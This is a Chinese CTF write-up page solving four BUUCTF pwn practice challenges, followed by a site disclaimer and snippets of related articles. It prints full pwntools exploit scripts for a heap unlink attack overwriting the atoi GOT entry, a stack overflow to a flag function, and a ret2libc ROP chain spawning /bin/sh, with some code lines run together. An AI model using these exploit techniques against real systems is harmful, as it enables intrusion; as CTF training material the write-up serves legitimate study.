PWN-PRACTICE-BUUCTF-22

PWN-PRACTICE-BUUCTF-22

    • hitcontraining_unlink
    • picoctf_2018_leak_me
    • suctf_2018_basic pwn
    • axb_2019_brop64

hitcontraining_unlink

unlink,参考:[BUUCTF]PWN——hitcontraining_unlink

# -*- coding:utf-8 -*-
from pwn import *
#io=process("./bamboobox")
io=remote("node4.buuoj.cn",25178)
elf=ELF("./bamboobox")
libc=ELF("./libc-2.23-16-x64.so")def show():io.sendlineafter("Your choice:","1")	
def add(name_len,name):io.sendlineafter("Your choice:","2")io.sendlineafter("the length of item name:",str(name_len))io.sendlineafter("the name of item:",name)
def edit(index,name_len,name):io.sendlineafter("Your choice:","3")io.sendlineafter("the index of item:",str(index))io.sendlineafter("the length of item name:",str(name_len))io.sendlineafter("the new name of the item:",name)
def free(index):io.sendlineafter("Your choice:","4")io.sendlineafter("the index of item:",str(index))
def exit():io.sendlineafter("Your choice:","5")#gdb.attach(io)
#pause()add(0x40,"aaaa")
add(0x80,"bbbb")
add(0x80,"cccc")#pause()ptr=0x00000000006020C8
fd=ptr-0x18
bk=ptr-0x10
payload=p64(0)+p64(0x40)+p64(fd)+p64(bk)
payload=payload.ljust(0x40,"A")
payload+=p64(0x40)+p64(0x90)
edit(0,len(payload),payload)#pause()free(1)#pause()atoi_got=elf.got["atoi"]
payload=p64(0)*2+p64(0x40)+p64(atoi_got)
edit(0,len(payload),payload)#pause()show()
io.recvuntil("0 : ")
atoi_addr=u64(io.recv(6).ljust(8,"\x00"))
print("atoi_addr=="+hex(atoi_addr))
libc_base=atoi_addr-libc.sym["atoi"]
system=libc_base+libc.sym["system"]#pause()edit(0,0x08,p64(system))#pause()io.sendlineafter("Your choice:","/bin/sh\x00")io.interactive()

picoctf_2018_leak_me

v5字符数组大小为256,在后面高地址处跟着的是s字符数组,程序会读取password.txt到s
后面有一句puts(v5),puts遇到"\x00"才会停止打印
将v5的256个字符全部填充为"a",没有回车"\n",就不会在结尾设置"\x00"
puts(v5)的时候就可以将password打印出来
leak-main
再次nc到服务器,输入正确的密码即可得到flag
leak-flag

suctf_2018_basic pwn

栈溢出

from pwn import *
#io=process('./SUCTF_2018_basic_pwn')
io=remote('node4.buuoj.cn',26502)
flag_addr=0x401157
payload='a'*(0x110+8)+p64(flag_addr)
io.sendline(payload)
io.interactive()

axb_2019_brop64

栈溢出,ret2libc

from pwn import *
context.log_level="debug"
#io=process('./axb_2019_brop64')
io=remote('node4.buuoj.cn',29347)
elf=ELF('./axb_2019_brop64')
libc=ELF('./libc-2.23-x64.so')
main=0x4007d6
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400963	io.recvuntil('Please tell me:')
payload='a'*(0xd0+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)puts_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base=puts_addr-libc.sym['puts']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()io.recvuntil('Please tell me:')
payload='a'*0xd8+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)
io.sendline(payload)io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438078.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

javaee, javaweb和javase的区别以及各自的知识体系

JavaSE Java SE 以前称为 J2SE。它允许开发和部署在桌面、服务器、嵌入式环境和实时环境中使用的 Java 应用程序。Java SE 包含了支持 Java Web 服务开发的类,并为 Java Platform,Enterprise Edition(Java EE)提供基础。 JavaE…

PWN-PRACTICE-BUUCTF-23

PWN-PRACTICE-BUUCTF-23gyctf_2020_some_thing_excetingaxb_2019_heap[极客大挑战 2019]Not Badinndy_echogyctf_2020_some_thing_exceting 程序读取了flag到bss段上的0x6020A8地址处 存在uaf漏洞,利用fastbins的LIFO原则,create大小合适的chunk并free …

.NET 实现并行的几种方式(三)

在前两篇随笔中,先后介绍了 Thread 、ThreadPool 、IAsyncResult (即 APM系列) 、Task 、TPL (Task Parallel Library)。 写到这些笔者突然意识到 还有一个EMP系列没有写,在这里补充一下: 六、 EAP 、EAP中的典型代表是 WebClient: EAP系…

PWN-PRACTICE-BUUCTF-24

PWN-PRACTICE-BUUCTF-24cmcc_pwnme1wdb2018_guessoneshot_tjctf_2016gyctf_2020_forcecmcc_pwnme1 栈溢出,ret2libc # -*- coding:utf-8 -*- from pwn import * #context.log_level"debug" ioremote("node4.buuoj.cn",27883) elfELF("./…

.NET异步编程之新利器——Task与Await、Async

一. FrameWork 4.0之前的线程世界     在.NET FrameWork 4.0之前,如果我们使用线程。一般有以下几种方式: 使用System.Threading.Thread 类,调用实例方法Start()开启一个新线程,调用Abort()方法来提前终止线程。使用System.T…

对比MS Test与NUnit Test框架

前言: 项目中进行Unit Test时,肯定会用到框架,因为这样能够更快捷、方便的进行测试。 .Net环境下的测试框架非常多,在这里只是对MS Test和NUnit Test进行一下比较, 因为这两个框架用的较多,也有大虾想过…

PWN-PRACTICE-BUUCTF-25

PWN-PRACTICE-BUUCTF-25wustctf2020_name_your_catciscn_2019_final_2mrctf2020_shellcode_revengezctf2016_note2wustctf2020_name_your_cat 通过数组越界覆写返回地址为后门shell的地址 from pwn import * #ioprocess(./wustctf2020_name_your_cat) ioremote(node4.buuoj.c…

使用 Github Pages 和 Hexo 搭建自己的独立博客【超级详细的小白教程】

2022-01-25 更新:博客新地址:https://www.itbob.cn/ 欢迎关注我的专栏:《个人博客搭建:HexoGithub Pages》,从搭建到美化一条龙,帮你解决 Hexo 常见问题! 推荐阅读:《Hexo 博客优化…

windows程序消息机制(Winform界面更新有关)

1. Windows程序消息机制 Windows GUI程序是基于消息机制的,有个主线程维护着消息泵。这个消息泵让windows程序生生不息。 Windows程序有个消息队列,窗体上的所有消息是这个队列里面消息的最主要来源。这里的While循环使用了GetMessage() 这个方法,这是个阻塞方法,也…

PWN-PRACTICE-BUUCTF-26

PWN-PRACTICE-BUUCTF-26护网杯_2018_gettingstartwustctf2020_number_gamepicoctf_2018_are you rootciscn_2019_en_3护网杯_2018_gettingstart read到buf的时候有溢出,覆写v5为0x7FFFFFFFFFFFFFFF,v6为0x3FB999999999999A from pwn import * ioremote…

最新主流 Markdown 编辑器推荐

Markdown ,2004年由 John Gruberis 设计和开发,是一种可以使用普通文本编辑器编写的标记语言,通过简单的标记语法,它可以使普通文本内容具有一定的格式,以下将介绍目前比较流行的一些 Markdown 编辑器(排名…

PWN-PRACTICE-BUUCTF-27

PWN-PRACTICE-BUUCTF-27starctf_2019_babyshellpicoctf_2018_buffer overflow 0gyctf_2020_signinbjdctf_2020_YDSneedGrirlfriendstarctf_2019_babyshell 用\x00绕过shellcode检测,call rdx 跳转过去执行汇编代码,一个\x00必执行失败 于是需要找一条机…

Python3 基础学习笔记 C01【变量和简单数据类型】

CSDN 课程推荐:《8小时Python零基础轻松入门》,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员;已出版《跟老齐学Python:轻松入门》《跟老齐学Python:Django实…

Python3 基础学习笔记 C02【列表】

CSDN 课程推荐:《8小时Python零基础轻松入门》,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员;已出版《跟老齐学Python:轻松入门》《跟老齐学Python:Django实…

PWN-PRACTICE-BUUCTF-28

PWN-PRACTICE-BUUCTF-28wustctf2020_name_your_dogjudgement_mna_2016gyctf_2020_some_thing_interestingxman_2019_formatwustctf2020_name_your_dog Partial RELRO,可修改got表 scanf_got距离Dogs56个字节 当index为-7时,即可改写scanf_got为shell的地…

敏捷开发之Scrum扫盲,及敏捷开发中XP与SCRUM的区别

敏捷开发之Scrum扫盲篇 现在敏捷开发是越来越火了,人人都在谈敏捷,人人都在学习Scrum和XP... 为了不落后他人,于是我也开始学习Scrum,今天主要是对我最近阅读的相关资料,根据自己的理解,用自己的话来讲述S…

有关不蒜子访问统计无法显示的解决方法

十月初,不蒜子统计失效了,如下图: 进入不蒜子官网看看: 问题来了,官网写着:因七牛强制过期『dn-lbstatics.qbox.me』域名,与客服沟通无果,只能更换域名到『busuanzi.ibruce.info』…

PWN-PRACTICE-BUUCTF-29

PWN-PRACTICE-BUUCTF-29actf_2019_babyheapwustctf2020_easyfast强网杯2019 拟态 STKOFhitcon_2018_children_tcacheactf_2019_babyheap UAF,创建两个非0x10大小的chunk,比如两个0x20 程序会创建四个chunk,大小依次为0x10,0x20&a…

SCRUM与XP区别

敏捷开发 1、敏捷的含义 敏捷开发是一种以人为核心、迭代、增量的开发方法。在敏捷开发中,把一个大项目分为多个相互联系,可独立运行的小项目,并分别完成,在此过程中软件一直处于可使用状态。 上面提到3个关键词,下…

Python3 基础学习笔记 C03【操作列表】

CSDN 课程推荐:《8小时Python零基础轻松入门》,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员;已出版《跟老齐学Python:轻松入门》《跟老齐学Python:Django实…